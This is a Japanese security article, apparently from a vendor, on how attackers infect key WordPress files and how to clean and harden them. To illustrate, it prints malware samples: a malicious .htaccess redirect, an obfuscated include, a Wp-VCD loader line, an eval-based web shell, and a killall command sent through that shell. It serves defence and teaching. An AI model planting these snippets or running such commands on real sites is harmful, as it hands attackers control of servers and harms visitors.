ネットワークセキュリティ
 Computer >> コンピューター >  >> ネットワーキング >> ネットワークセキュリティ

感染したWordPressファイルをスキャン・修復する完全ガイド|wp-config.phpやwp-content/uploadsの対策方法

WordPressはWebサイト構築を非常に簡単にし、個人から大規模な組織まで、あらゆる規模のユーザーがオンラインでの存在感を持つことを可能にしました。

しかし、WordPressサイトをホスティングする際には、セキュリティ対策が不可欠です。朝起きたらサイトがハッキングされ、これまで積み重ねてきた開発やSEOの努力が、自分では気づかないうちにすべて水の泡になっていた——そんな事態は絶対に避けたいものですね。

WordPressはその人気ゆえに、ハッカーの標的になりやすい傾向があります。テーマやプラグインも例外ではありません。あるプラグインに脆弱性が見つかれば、そのプラグインをインストールしているほぼすべてのサイトが簡単に悪用されてしまうのです。

関連ガイド:WordPressマルウェア除去ガイド

最近の例として、Contact Form 7プラグインの脆弱性が挙げられます。この脆弱性が発覚した結果、同プラグインを使用していた500万以上のWebサイトが危険にさらされたと推定されています。この脆弱性により、攻撃者はサイトで許可されているアップロード可能なファイルタイプに関する制限をすべて回避し、あらゆる種類のファイルをアップロードできるようになりました。さらに、Contact Form 7バージョン5.3.1未満で、フォーム上のファイルアップロード機能が有効になっているサイトに対しては、Webシェルなどの悪意のあるコンテンツを注入することも可能でした。

同様に、「Slider Revolution」プラグインにもLFI(ローカルファイルインクルージョン)脆弱性があり、ハッカーは脆弱なWordPressサイトからwp-config.phpをダウンロードできてしまいました。その結果、データベースの認証情報、暗号化キー、その他の機密性の高い設定情報が漏洩しました。これがいわゆる「wp-config.phpハック」と呼ばれるようになった発端です。

本ガイドでは、WordPressサイト内でハッカーやマルウェアの標的となりうる重要なファイルと場所について詳しく解説します。

1) WordPressのwp-config.phpへの攻撃

wp-config.phpは、WordPressのインストールにおいて極めて重要なファイルです。サイトが使用する設定ファイルであり、WPファイルシステムとデータベースをつなぐ橋渡し役となります。このファイルには以下のような機密情報が含まれています。

  • データベースホスト
  • ユーザー名、パスワード、ポート番号
  • データベース名
  • WordPressのセキュリティキー
  • データベーステーブル接頭辞(プレフィックス)

関連ガイド:WordPressセキュリティ完全ステップバイステップガイド(ハッキングリスクを90%削減)

こうした機密性の高さから、wp-config.phpはハッカーにとって人気の標的となっています。昨年は、WPプラグインDuplicatorに重大な欠陥が発見されました。「認証不要の任意ファイルダウンロード」脆弱性により、ハッカーはwp-configファイルをダウンロードできてしまったのです。

wp-config.phpハックによってデータベースのログイン情報を手に入れたハッカーは、データベースへの接続を試み、偽のWP管理者アカウントを作成します。これにより、サイトとデータベースへの完全なアクセス権を得ることができます。ユーザーのパスワード、メールアドレス、ファイル、画像、WooCommerceの取引詳細など、機密データがすべて攻撃者にさらされることになります。さらに、継続的にアクセスを維持するため、Filesmanバックドアなどのスクリプトを仕込む場合もあります。

感染したWordPressファイルをスキャン・修復する完全ガイド|wp-config.phpやwp-content/uploadsの対策方法

2) WordPressのindex.phpへの攻撃

index.phpは、すべてのWordPressサイトのエントリーポイントとなるファイルです。サイトの全ページで実行されるため、ここに悪意のあるコードが注入されると、Webサイト全体に影響が及びます。

たとえば、pub2srvマルウェアやFaviconマルウェアによるハッキングは、index.phpファイルを標的としています。Astra Securityの研究者たちは、この大規模なマルウェアリダイレクトキャンペーンを監視しており、@include "\x2f/sgb\x2ffavi\x63on_5\x34e6ed\x2eico"; のような悪意のあるコードや、以下のスクリーンショットにあるようなコードがindex.phpファイルに追加されているのを確認しました。

感染したWordPressファイルをスキャン・修復する完全ガイド|wp-config.phpやwp-content/uploadsの対策方法

また、一部のマルウェアキャンペーンでは、index.phpファイルをindex.php.bakにリネームすることがあり、その結果サイトがクラッシュしてまったく読み込めなくなるケースもあります。

index.php内のこうした悪意のあるコードは、訪問者に奇妙なポップアップや広告を表示させたり、スパムサイトへリダイレクトさせたりする原因となります。この種のハッキングを修復するには、このファイルの内容をWordPress公式が配布するオリジナルのコピーと比較してください。

関連ガイド:WordPressハッキング除去の究極ガイド

3) WordPressの.htaccessファイルへの攻撃

.htaccessファイルは通常、WordPressサイトのホームディレクトリ(主にApacheサーバー)に配置され、サイトの要件に応じてサーバー設定を行うためのものです。.htaccessファイルは、Webサーバーのパフォーマンスや動作を制御できる非常に強力なコンポーネントであり、サイトのセキュリティ管理にも活用できます。.htaccessファイルの一般的な用途は以下の通りです。

  • サイトの特定フォルダへのアクセス制限
  • サイトの最大メモリ使用量の設定
  • リダイレクトの作成
  • HTTPSの強制
  • キャッシュの管理
  • スクリプト注入攻撃の防止
  • 最大ファイルアップロードサイズの制御
  • ボットによるユーザー名検出の阻止
  • 画像ホットリンクのブロック
  • ファイルの自動ダウンロードの強制
  • ファイル拡張子の管理

しかし、攻撃を受けると、これらの機能が攻撃者によるクリック収集に悪用されることがあります。.htaccessファイルに悪意のあるコードが注入され、ユーザーをリダイレクトさせるケースは少なくありません。また、スパム表示に使われることもあります。以下のコード例を見てみましょう。

RewriteEngine On
 RewriteOptions inherit
 RewriteCond %{HTTP_REFERER} .*ask.com.*$ [NC,OR]
 RewriteCond %{HTTP_REFERER} .*google.*$ [NC,OR]
 RewriteCond %{HTTP_REFERER} .*msn.com*$ [NC,OR]
 RewriteCond %{HTTP_REFERER} .*bing.com*$ [NC,OR]
 RewriteCond %{HTTP_REFERER} .*live.com*$ [NC,OR]
 RewriteCond %{HTTP_REFERER} .*aol.com*$ [NC,OR]
 RewriteCond %{HTTP_REFERER} .*altavista.com*$ [NC,OR]
 RewriteCond %{HTTP_REFERER} .*excite.com*$ [NC,OR]
 RewriteCond %{HTTP_REFERER} .*search.yahoo*$ [NC]
 RewriteRule .* https://MaliciousDomain.tld/bad.php?t=3 [R,L]

最終行の悪意あるコードが、サイトからのユーザートラフィックをリダイレクトしています。その結果、ユーザーはhttps://MaliciousDomain.tldへ転送され、bad.phpスクリプトの読み込みが試みられます。サイトから異常なリダイレクトが発生する場合は、.htaccessファイルへの攻撃が原因である可能性があります。ただし、ファイルが見つからない場合や空の場合でも、慌てる必要はありません(WordPressでパーマリンクを使用している場合を除き)このファイルは必須ではないからです。

各WordPressテーマには、サイトのフッターとヘッダーのコードを含むfooter.phpheader.phpというファイルがあります。この領域には、サイト全体を通じて共通のスクリプトやウィジェットが含まれます。たとえば、サイト下部のシェアウィジェットやSNSウィジェット、あるいは単なる著作権情報やクレジット表記などです。

そのため、この2つのファイルは攻撃者にとって格好の標的となりえます。マルウェアによるリダイレクトやスパムコンテンツの表示によく利用され、digestcolect[.com]リダイレクトマルウェアもその一例でした。

ハッキングされたサイトでは、下のスクリーンショットのように、これらのファイルに意味不明なコードが含まれていることがあります。

感染したWordPressファイルをスキャン・修復する完全ガイド|wp-config.phpやwp-content/uploadsの対策方法

私たちはこのコードの一部を解析し、ハッカーがブラウザCookieを利用してユーザーを識別し、悪質な広告を表示していたことを突き止めました。

さらに別の事例では、攻撃者が拡張子.jsを持つすべてのファイルにJavaScriptコードを注入しました。感染範囲が広範囲に及ぶため、この種のハッキングの駆除は困難になりがちです。

感染したWordPressファイルをスキャン・修復する完全ガイド|wp-config.phpやwp-content/uploadsの対策方法

5) WordPressのfunctions.phpへの攻撃

テーマフォルダ内のfunctionsファイルは、プラグインと同じように動作します。つまり、WordPressサイトに追加機能を実装するために使用できます。functions.phpファイルは以下のような用途に使われます。

  • WordPressのイベント/関数の呼び出し
  • PHPネイティブ関数の呼び出し
  • 独自関数の定義

functions.phpファイルはすべてのテーマに存在しますが、任意の時点で実行されるのは1つだけ——アクティブなテーマ内のファイル——という点に注意が必要です。この特性のため、Wp-VCDバックドアハックでは、functions.phpファイルが攻撃者によって積極的に標的とされました。このマルウェアは新規管理者を作成し、製薬系スパムや日本語SEOスパムといったスパムページをサイトに注入しました。

<?php if (file_exists(dirname(__FILE__) . '/class.theme-modules.php')) include_once(dirname(__FILE__) . '/class.theme-modules.php'); ?>

上記のコードを見ると分かるように、このファイルはclass.theme-modules.phpを読み込んでいます。このファイルは、サイトにインストールされている他のテーマ(無効化されているものも含む)にマルウェアを仕込むために使用されます。これにより新しいユーザーとバックドアが作成され、ファイルを駆除した後でも攻撃者がサイトにアクセスできる状態が残ってしまうのです。

6) WordPressのwp-load.phpへの攻撃

wp-load.phpは、すべてのWordPressサイトにとって重要なファイルです。WordPress環境のブートストラップを担い、プラグインがWPコアのネイティブ関数を使用できるようにします。多くのマルウェア変種は、悪意のあるwp-loadファイルを作成することでWordPressサイトに感染します。China Chopper Webシェルマルウェアがその典型例です。このマルウェアの典型的な挙動は、サーバー上にwp-load-eFtAh.phpのようなファイルを作成することでした。ファイル名が本来のファイル名に似ているため、FTPでログインしても不審に思わなかったかもしれません。これらのファイルには、次のようなコードが含まれています。

<?php /*5b7bdc250b181*/ ?><?php @eval($_POST['pass']);?>

このコードにより、攻撃者はpassパラメータ経由で送信された任意のPHPコードをサイト上で実行できます。このバックドアを使えば、有害なコマンドの実行も可能です。たとえば、https://yoursite/your.php?pass=system("killall -9 apache"); というコマンドは、Webサーバーのプロセスを強制終了させ、サーバー全体を停止させることもできます。コードの短さで判断してはいけません——サーバーを遠隔操作できるほど危険なコードなのです。

7) サーバー上のclass-wp-cache.phpファイルの氾濫

近年確認されたハッキングの一例として、cPanelやWebサーバー全体に数十、ときには数千ものclass-wp-cache.phpファイルが出現するケースがあります。コアファイルを含むサイトのすべてのフォルダが、この悪意あるファイルに感染してしまうのです。通常、この感染の原因は、サイトのコードにおける脆弱性がハッカーへの侵入経路を開いてしまうことにあります。

WordPressファイルのクリーンアップと保護の方法

1) ファイルのクリーンアップ

まず、wp-config.phpハックなどの攻撃原因を調査し、悪意のあるコードや意味不明なコードを削除します。次に、バックアップがあれば感染ファイルを復元します。バックアップが利用できない場合は、GitHubで配布されているWordPressのオリジナルファイルを参照してください。変更を加える前に必ずファイルのバックアップを取ることを忘れないでください。コード削除作業中の些細なミスでも、サイトが壊れる可能性があります。

2) プラグインによるサイトの保護

こうしたハッキングでは、CMSのコアファイルが改ざんされていることがよくあります。WordPressコアファイルに改ざんがないか確認することが重要です。Astra Securityの顧客はすでにこの機能を利用でき、改ざんが検知されると自動的に通知されます。

感染したWordPressファイルをスキャン・修復する完全ガイド|wp-config.phpやwp-content/uploadsの対策方法

Astra Securityは、これらのファイル変更をレビューするための組み込みメカニズムも提供しています。

感染したWordPressファイルをスキャン・修復する完全ガイド|wp-config.phpやwp-content/uploadsの対策方法

コアシステムファイルの変更を確認した後は、Astra Website Protectionなどのマルウェアスキャンソリューションでサイトをスキャンし、悪意のあるコンテンツを含むファイルを特定しましょう。こうしたツールは、マルウェアファイル、悪意のあるリンク、ハッキングの原因などを網羅したスキャンレポートを提供してくれます。

3) 機密ファイルを隠す

ファイルが第三者の目に晒されると、本記事で取り上げたwp-config.phpハックのように機密情報が漏洩しかねません。したがって、サーバー上でこれらのファイルを隠すことが必要です。.htaccessファイルは、これらのファイルを保護するのに役立ちます。

wp-content/uploadsフォルダ内のPHPファイルへのアクセスを防ぐには、wp-content/uploadsフォルダ内に.htaccessファイルを作成し、以下のコードを追加します。

# Kill PHP Execution
<Files ~ ".ph(?:p[345]?|t|tml)$">
deny from all
</Files>

wp-includesフォルダ内の機密ファイルを隠すには、サイトのルートにある.htaccessファイルに以下のコードを追加します。

# Block wp-includes folder and files
 <IfModule mod_rewrite.c>
 RewriteEngine On
 RewriteBase /
 RewriteRule ^wp-admin/includes/ - [F,L]
 RewriteRule !^wp-includes/ - [S=3]
 RewriteRule ^wp-includes/[^/]+\.php$ - [F,L]
 RewriteRule ^wp-includes/js/tinymce/langs/.+\.php - [F,L]
 RewriteRule ^wp-includes/theme-compat/ - [F,L]
 </IfModule>

これらの手順をすべて省略したい場合は、WP Hardeningプラグインをインストールするのも一案です。このプラグインなら、wp-contentsやwp-uploadsなどの機密ファイルをボタンひとつで非表示にできます。さらにWP-Hardeningは、サイトのその他の重要なセキュリティ領域の保護にも役立ち、攻撃者が機密情報を特定・悪用することを困難にします。

関連ガイド:WordPressマルウェア除去ステップバイステップガイド

4) WordPressの更新

WordPress本体、プラグイン、テーマは常に最新の状態に保ちましょう。更新された環境を運用するだけで、多くの抜け穴を塞ぐことができます。信頼できるプラグインとテーマのみを使用し、コード品質の低いテーマやヌル化(不正改造)されたテーマは避けてください。これにより、wp-config.phpハックのような攻撃を未然に防げます。

より分かりやすくお伝えするため、WordPressサイトを保護するための完全なステップバイステップ動画も作成しました。

5) WordPressファイアウォールの導入

ファイアウォールは、サイトのセキュリティ確保に大きく貢献します。ファイアウォールはサイトへの流入トラフィックを監視し、感染を阻止する予防措置を講じることができます。wp-config.phpハックのような攻撃を効果的に防止できます。現在、市場には複数のコストパフォーマンスに優れたファイアウォールソリューションがあります。Astra Securityのファイアウォールは柔軟性が高く、さまざまなニーズに対応できます。

感染したWordPressファイルをスキャン・修復する完全ガイド|wp-config.phpやwp-content/uploadsの対策方法

Astraのファイアウォールは、SQLi、コード注入、XSS、CSRFなど100種類以上のサイバー脅威をリアルタイムで防御します。さらに、異常なログインや偽ログインの検知・ブロックも行い、サイトを自動的かつ定期的にスキャンします。

6) WordPressセキュリティ監査またはペネトレーションテスト

WordPressは最も普及しているCMSであるため、セキュリティ問題も増えており、攻撃者は常にWordPressサイトの悪用可能な脆弱性を探っています。したがって、WordPressサイトを攻撃から守り続けるには、ペネトレーションテスト(侵入テスト)が不可欠となっています。

ペネトレーションテストとは、Webアプリケーション、ネットワーク、またはコンピュータシステムに対して実施される模擬攻撃であり、攻撃者に先んじて脆弱性を発見し、安全性を評価・向上させることを目的とします。WordPressサイトのペネトレーションテストで実施される模擬攻撃の一例として、ディレクトリリスティング脆弱性のチェックが挙げられます。これは、wp-includes、wp-index.php、wp-config.php、wp-admin、wp-load.php、wp-contentなどの機密ディレクトリが索引化され、攻撃者に機密情報を提供してしまう可能性がある脆弱性です。

無料のWP Hardeningプラグインで12以上のセキュリティ問題をワンクリックで修正

感染したWordPressファイルをスキャン・修復する完全ガイド|wp-config.phpやwp-content/uploadsの対策方法

関連ガイド:WordPressセキュリティ完全ステップバイステップガイド(ハッキングリスクを90%削減)

  1. 破損した動画ファイルを修復する方法|MP4・MOVファイルの復旧ガイド

    破損した動画ファイルを開けないときの対処法システム上で動画ファイルが開けないとき、本当にストレスを感じますよね。大切な動画が破損や削除によって失われたと気づいた瞬間は、とても悲しいものです。しかし、諦める必要はありません。失われたMP4やMOVファイルを復旧させるための方法をいくつかご紹介します。いくつかの手順を覚えておけば、動画ファイルを中断なく再生できるようになります。お使いのどの動画プレイヤーでも再生できないファイルを見つけたら、まずは以下のテクニックを試してみましょう。その前に、MP4ファイルの基礎知識と、動画が破損する仕組みについて理解しておきましょう。MP4ファイルとは?MP4(M

  2. Windows 11の破損したファイルを修復する方法|誰でもできる7つの対処法

    Windows 11で破損したファイルにお困りではありませんか?あるいは、Windows 11を修復する方法をお探しでしょうか。 まず安心してください。破損したファイルの正しい修復方法を知らないユーザーは多く、あなた一人ではありません。 本記事では、Windows 11の修復と破損ファイルの解消に役立つ、厳選したベストな解決策をご紹介します。 解決策に入る前に、よくある疑問とその回答をまとめましたので、ぜひ参考にしてください。 ファイルが破損する原因とは? 一般的に、ファイルが破損する主な原因は以下の通りです。 ハードディスクの不良セクタ(バッドセクタ) 不具合のあるストレージ媒体の使用 P